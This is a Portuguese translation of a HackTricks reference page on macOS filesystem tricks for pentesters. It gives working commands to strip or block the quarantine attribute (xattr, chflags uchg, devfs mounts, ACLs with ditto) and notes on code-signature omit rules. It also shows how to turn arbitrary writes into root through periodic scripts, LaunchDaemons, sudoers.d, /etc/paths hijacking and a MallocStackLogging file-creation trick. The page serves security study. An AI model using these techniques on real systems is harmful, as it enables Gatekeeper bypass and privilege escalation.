hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks
2024-03-28 17:35:39 +00:00
..
macos-xattr-acls-extra-stuff.md Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2024-01-04 10:31:50 +00:00
README.md Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2024-03-28 17:35:39 +00:00

Truques do macOS FS

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Combinações de permissões POSIX

Permissões em um diretório:

  • leitura - você pode enumerar as entradas do diretório
  • escrita - você pode excluir/escrever arquivos no diretório e pode excluir pastas vazias.
  • Mas você não pode excluir/modificar pastas não vazias a menos que tenha permissões de escrita sobre elas.
  • Você não pode modificar o nome de uma pasta a menos que a possua.
  • execução - você está autorizado a percorrer o diretório - se você não tiver esse direito, não poderá acessar nenhum arquivo dentro dele, ou em quaisquer subdiretórios.

Combinações Perigosas

Como sobrescrever um arquivo/pasta de propriedade do root, mas:

  • Um proprietário de diretório pai no caminho é o usuário
  • Um proprietário de diretório pai no caminho é um grupo de usuários com acesso de escrita
  • Um grupo de usuários tem acesso de escrita ao arquivo

Com uma das combinações anteriores, um atacante poderia injetar um link simbólico/rígido no caminho esperado para obter uma gravação arbitrária privilegiada.

Caso Especial de Raiz da Pasta R+X

Se houver arquivos em um diretório onde apenas o root tem acesso R+X, esses arquivos não são acessíveis a mais ninguém. Portanto, uma vulnerabilidade que permita mover um arquivo legível por um usuário, que não pode ser lido por causa dessa restrição, desta pasta para outra diferente, poderia ser abusada para ler esses arquivos.

Exemplo em: https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions

Se um processo privilegiado estiver gravando dados em um arquivo que poderia ser controlado por um usuário com menos privilégios, ou que poderia ter sido criado anteriormente por um usuário com menos privilégios. O usuário poderia simplesmente apontá-lo para outro arquivo via um link simbólico ou rígido, e o processo privilegiado gravará nesse arquivo.

Verifique nas outras seções onde um atacante poderia abusar de uma gravação arbitrária para escalar privilégios.

.fileloc

Arquivos com a extensão .fileloc podem apontar para outras aplicações ou binários, então quando são abertos, a aplicação/binário será o executado.
Exemplo:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>URL</key>
<string>file:///System/Applications/Calculator.app</string>
<key>URLPrefix</key>
<integer>0</integer>
</dict>
</plist>

FD Arbitrário

Se você conseguir fazer um processo abrir um arquivo ou uma pasta com altos privilégios, você pode abusar do crontab para abrir um arquivo em /etc/sudoers.d com EDITOR=exploit.py, então o exploit.py obterá o FD para o arquivo dentro de /etc/sudoers e abusará dele.

Por exemplo: https://youtu.be/f1HA5QhLQ7Y?t=21098

Evitar truques de atributos estendidos de quarentena

Removê-lo

xattr -d com.apple.quarantine /path/to/file_or_app

Bandeira uchg / uchange / uimmutable

Se um arquivo/pasta tiver esse atributo imutável, não será possível colocar um xattr nele.

echo asd > /tmp/asd
chflags uchg /tmp/asd # "chflags uchange /tmp/asd" or "chflags uimmutable /tmp/asd"
xattr -w com.apple.quarantine "" /tmp/asd
xattr: [Errno 1] Operation not permitted: '/tmp/asd'

ls -lO /tmp/asd
# check the "uchg" in the output

Montagem defvfs

Uma montagem devfs não suporta xattr, mais informações em CVE-2023-32364

mkdir /tmp/mnt
mount_devfs -o noowners none "/tmp/mnt"
chmod 777 /tmp/mnt
mkdir /tmp/mnt/lol
xattr -w com.apple.quarantine "" /tmp/mnt/lol
xattr: [Errno 1] Operation not permitted: '/tmp/mnt/lol'

ACL writeextattr

Este ACL impede a adição de xattrs ao arquivo.

rm -rf /tmp/test*
echo test >/tmp/test
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test
ls -le /tmp/test
ditto -c -k test test.zip
# Download the zip from the browser and decompress it, the file should be without a quarantine xattr

cd /tmp
echo y | rm test

# Decompress it with ditto
ditto -x -k --rsrc test.zip .
ls -le /tmp/test

# Decompress it with open (if sandboxed decompressed files go to the Downloads folder)
open test.zip
sleep 1
ls -le /tmp/test

com.apple.acl.text xattr + AppleDouble

O formato de arquivo AppleDouble copia um arquivo incluindo suas ACEs.

No código-fonte é possível ver que a representação de texto do ACL armazenada dentro do xattr chamado com.apple.acl.text será definida como ACL no arquivo descompactado. Portanto, se você comprimir um aplicativo em um arquivo zip com o formato de arquivo AppleDouble com um ACL que impede que outros xattrs sejam gravados nele... o xattr de quarentena não será definido no aplicativo:

Verifique o relatório original para mais informações.

Para replicar isso, primeiro precisamos obter a string de acl correta:

# Everything will be happening here
mkdir /tmp/temp_xattrs
cd /tmp/temp_xattrs

# Create a folder and a file with the acls and xattr
mkdir del
mkdir del/test_fold
echo test > del/test_fold/test_file
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" del/test_fold
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" del/test_fold/test_file
ditto -c -k del test.zip

# uncomporess to get it back
ditto -x -k --rsrc test.zip .
ls -le test

(Note que mesmo que isso funcione, a sandbox escreve o atributo de quarentena antes)

Não é realmente necessário, mas eu deixo aqui caso:

{% content-ref url="macos-xattr-acls-extra-stuff.md" %} macos-xattr-acls-extra-stuff.md {% endcontent-ref %}

Bypass de Assinaturas de Código

Os pacotes contêm o arquivo _CodeSignature/CodeResources que contém o hash de cada arquivo no pacote. Note que o hash do CodeResources também está embutido no executável, então não podemos mexer com isso também.

No entanto, existem alguns arquivos cuja assinatura não será verificada, esses têm a chave omit no plist, como:

<dict>
...
<key>rules</key>
<dict>
...
<key>^Resources/.*\.lproj/locversion.plist$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>1100</real>
</dict>
...
</dict>
<key>rules2</key>
...
<key>^(.*/)?\.DS_Store$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>2000</real>
</dict>
...
<key>^PkgInfo$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>20</real>
</dict>
...
<key>^Resources/.*\.lproj/locversion.plist$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>1100</real>
</dict>
...
</dict>

É possível calcular a assinatura de um recurso a partir da linha de comando com:

{% code overflow="wrap" %}

openssl dgst -binary -sha1 /System/Cryptexes/App/System/Applications/Safari.app/Contents/Resources/AppIcon.icns | openssl base64

Montar dmgs

Um usuário pode montar um dmg personalizado até mesmo em cima de algumas pastas existentes. Veja como você pode criar um pacote dmg personalizado com conteúdo personalizado:

# Create the volume
hdiutil create /private/tmp/tmp.dmg -size 2m -ov -volname CustomVolName -fs APFS 1>/dev/null
mkdir /private/tmp/mnt

# Mount it
hdiutil attach -mountpoint /private/tmp/mnt /private/tmp/tmp.dmg 1>/dev/null

# Add custom content to the volume
mkdir /private/tmp/mnt/custom_folder
echo "hello" > /private/tmp/mnt/custom_folder/custom_file

# Detach it
hdiutil detach /private/tmp/mnt 1>/dev/null

# Next time you mount it, it will have the custom content you wrote

# You can also create a dmg from an app using:
hdiutil create -srcfolder justsome.app justsome.dmg

{% endcode %}

Normalmente, o macOS monta o disco falando com o serviço Mach com.apple.DiskArbitrarion.diskarbitrariond (fornecido por /usr/libexec/diskarbitrationd). Se adicionar o parâmetro -d ao arquivo plist do LaunchDaemons e reiniciar, ele armazenará logs em /var/log/diskarbitrationd.log.
No entanto, é possível usar ferramentas como hdik e hdiutil para se comunicar diretamente com o kext com.apple.driver.DiskImages.

Gravações Arbitrárias

Scripts sh periódicos

Se o seu script puder ser interpretado como um script shell, você pode sobrescrever o script shell /etc/periodic/daily/999.local que será acionado todos os dias.

Você pode simular uma execução deste script com: sudo periodic daily

Daemons

Escreva um LaunchDaemon arbitrário como /Library/LaunchDaemons/xyz.hacktricks.privesc.plist com um plist executando um script arbitrário como:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.sample.Load</string>
<key>ProgramArguments</key>
<array>
<string>/Applications/Scripts/privesc.sh</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>

Ficheiro Sudoers

Se tiver escrita arbitrária, poderá criar um ficheiro dentro da pasta /etc/sudoers.d/ concedendo a si mesmo privilégios sudo.

Ficheiros PATH

O ficheiro /etc/paths é um dos principais locais que popula a variável de ambiente PATH. Deve ser root para o sobrescrever, mas se um script de um processo privilegiado estiver a executar algum comando sem o caminho completo, poderá sequestrá-lo modificando este ficheiro.

Também pode escrever ficheiros em /etc/paths.d para carregar novas pastas na variável de ambiente PATH.

Gerar ficheiros graváveis como outros utilizadores

Isto irá gerar um ficheiro que pertence ao root e que é gravável por mim (código daqui). Isto também pode funcionar como privesc:

DIRNAME=/usr/local/etc/periodic/daily

mkdir -p "$DIRNAME"
chmod +a "$(whoami) allow read,write,append,execute,readattr,writeattr,readextattr,writeextattr,chown,delete,writesecurity,readsecurity,list,search,add_file,add_subdirectory,delete_child,file_inherit,directory_inherit," "$DIRNAME"

MallocStackLogging=1 MallocStackLoggingDirectory=$DIRNAME MallocStackLoggingDontDeleteStackLogFile=1 top invalidparametername

FILENAME=$(ls "$DIRNAME")
echo $FILENAME

Referências

Aprenda hacking da AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks: